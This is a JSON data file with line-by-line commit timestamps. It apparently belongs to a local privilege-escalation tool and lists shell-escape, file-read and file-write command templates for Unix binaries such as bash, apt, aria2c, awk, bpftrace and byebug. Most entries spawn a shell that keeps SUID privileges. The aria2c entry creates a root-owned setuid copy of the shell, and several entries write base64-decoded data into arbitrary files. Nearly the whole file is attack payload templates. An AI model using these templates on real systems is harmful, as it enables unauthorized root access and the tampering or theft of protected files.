2020-05-09 06:49:38 +02:00
|
|
|
[
|
2020-05-10 03:38:24 +02:00
|
|
|
{
|
|
|
|
"name": "cat",
|
|
|
|
"read_file": "{path} {lfile}"
|
|
|
|
},
|
2020-05-09 06:49:38 +02:00
|
|
|
{
|
|
|
|
"name": "bash",
|
2020-05-09 21:02:04 +02:00
|
|
|
"shell": {
|
|
|
|
"script": "{command}",
|
|
|
|
"suid": ["-p"]
|
|
|
|
},
|
2020-05-09 06:49:38 +02:00
|
|
|
"read_file": "{path} -p -c \"cat {lfile}\"",
|
|
|
|
"write_file": {
|
|
|
|
"type": "base64",
|
|
|
|
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
|
|
|
|
},
|
|
|
|
"command": "{path} -p -c {command}"
|
2020-05-09 09:28:58 +02:00
|
|
|
},
|
|
|
|
{
|
|
|
|
"name": "apt-get",
|
|
|
|
"shell": {
|
2020-05-09 21:02:04 +02:00
|
|
|
"need": ["changelog", "apt"],
|
2020-05-09 09:28:58 +02:00
|
|
|
"input": "!{shell}\n",
|
|
|
|
"exit": "exit\nq\n"
|
|
|
|
}
|
|
|
|
},
|
|
|
|
{
|
|
|
|
"name": "apt",
|
|
|
|
"shell": {
|
2020-05-09 21:02:04 +02:00
|
|
|
"need": ["changelog", "apt"],
|
2020-05-09 09:28:58 +02:00
|
|
|
"input": "!{shell}\n",
|
|
|
|
"exit": "exit\nq\n"
|
|
|
|
}
|
|
|
|
},
|
|
|
|
{
|
|
|
|
"name": "aria2c",
|
2020-05-09 21:02:04 +02:00
|
|
|
"shell": {
|
|
|
|
"script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p",
|
|
|
|
"need": ["--on-download-error=$TF","http://x"]
|
|
|
|
}
|
2020-05-09 23:05:18 +02:00
|
|
|
},
|
2020-05-10 00:36:51 +02:00
|
|
|
{
|
|
|
|
"name": "ash",
|
|
|
|
"shell": {
|
|
|
|
"script": "{command}",
|
|
|
|
"suid": ["-p"]
|
|
|
|
},
|
|
|
|
"read_file": "{path} -p -c \"cat {lfile}\"",
|
|
|
|
"write_file": {
|
|
|
|
"type": "base64",
|
|
|
|
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
|
|
|
|
},
|
|
|
|
"command": "{path} -p -c {command}"
|
|
|
|
},
|
2020-05-10 01:00:15 +02:00
|
|
|
{
|
|
|
|
"name": "awk",
|
|
|
|
"shell": {
|
2020-05-10 03:38:24 +02:00
|
|
|
"script": "{command} 'BEGIN {{system(\"{shell} -p\")}}'"
|
2020-05-10 01:00:15 +02:00
|
|
|
},
|
|
|
|
"read_file": "{path} '//' {lfile}",
|
|
|
|
"write_file": {
|
|
|
|
"type": "base64",
|
2020-05-10 03:38:24 +02:00
|
|
|
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
2020-05-10 01:00:15 +02:00
|
|
|
}
|
|
|
|
},
|
|
|
|
{
|
|
|
|
"name": "gawk",
|
|
|
|
"shell": {
|
2020-05-10 03:40:37 +02:00
|
|
|
"script": "{command} 'BEGIN {{system(\"{shell}\")}}'"
|
2020-05-10 01:00:15 +02:00
|
|
|
},
|
|
|
|
"read_file": "{path} '//' {lfile}",
|
|
|
|
"write_file": {
|
|
|
|
"type": "base64",
|
2020-05-10 03:38:24 +02:00
|
|
|
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
2020-05-10 01:00:15 +02:00
|
|
|
}
|
|
|
|
},
|
2020-05-10 03:40:37 +02:00
|
|
|
{
|
|
|
|
"name": "base32",
|
|
|
|
"read_file": "{path} {lfile} | {path} -d"
|
|
|
|
},
|
|
|
|
{
|
|
|
|
"name": "base64",
|
|
|
|
"read_file": "{path} {lfile} | {path} -d"
|
|
|
|
},
|
|
|
|
{
|
|
|
|
"name": "bpftrace",
|
|
|
|
"shell": {
|
2020-05-10 04:06:45 +02:00
|
|
|
"script": "{command} -c {shell} -e 'END {{exit()}}'",
|
2020-05-10 03:40:37 +02:00
|
|
|
"suid": ["-p"]
|
|
|
|
}
|
|
|
|
},
|
|
|
|
{
|
|
|
|
"name": "bundler",
|
|
|
|
"shell": {
|
|
|
|
"script": "{command} help",
|
|
|
|
"input": "!{shell}\n",
|
|
|
|
"exit": "exit\nq\n"
|
|
|
|
}
|
|
|
|
},
|
|
|
|
{
|
|
|
|
"name": "busctl",
|
|
|
|
"shell": {
|
|
|
|
"script": "{command}",
|
|
|
|
"input": "!{shell}\n",
|
|
|
|
"exit": "exit\nq\n"
|
|
|
|
}
|
|
|
|
},
|
|
|
|
{
|
|
|
|
"name": "busybox",
|
|
|
|
"shell": {
|
|
|
|
"script": "{command} sh"
|
|
|
|
},
|
|
|
|
"read_file": "{path} -c \"cat {lfile}\"",
|
|
|
|
"write_file": {
|
|
|
|
"type": "base64",
|
|
|
|
"payload": "{path} -c \"echo -n {data} | base64 -d > {lfile}\""
|
|
|
|
}
|
|
|
|
},
|
|
|
|
{
|
|
|
|
"name": "byebug",
|
|
|
|
"shell": {
|
2020-05-10 04:06:45 +02:00
|
|
|
"script": "TF=$(mktemp);echo 'system(\"{shell}\")' > $TF;{command} --no-stop -q $TF",
|
|
|
|
"need": [
|
|
|
|
"--no-stop",
|
|
|
|
"-q"
|
|
|
|
]
|
2020-05-10 03:40:37 +02:00
|
|
|
},
|
2020-05-10 04:06:45 +02:00
|
|
|
"read_file": "TF=$(mktemp);echo 'system(\"cat {lfile}\")' > $TF;{command} --no-stop -q $TF",
|
2020-05-10 03:40:37 +02:00
|
|
|
"write_file": {
|
|
|
|
"type": "base64",
|
2020-05-10 04:06:45 +02:00
|
|
|
"payload": "TF=$(mktemp);echo 'system(\"echo {data} | base64 -d > {lfile}\")' > $TF;{path} --no-stop -q $TF"
|
2020-05-10 03:40:37 +02:00
|
|
|
}
|
|
|
|
},
|
2020-05-10 00:36:51 +02:00
|
|
|
{
|
|
|
|
"name": "dash",
|
|
|
|
"shell": {
|
|
|
|
"script": "{command}",
|
|
|
|
"suid": ["-p"]
|
|
|
|
},
|
|
|
|
"read_file": "{path} -p -c \"cat {lfile}\"",
|
|
|
|
"write_file": {
|
|
|
|
"type": "base64",
|
|
|
|
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
|
|
|
|
},
|
|
|
|
"command": "{path} -p -c {command}"
|
2020-05-09 06:49:38 +02:00
|
|
|
}
|
|
|
|
]
|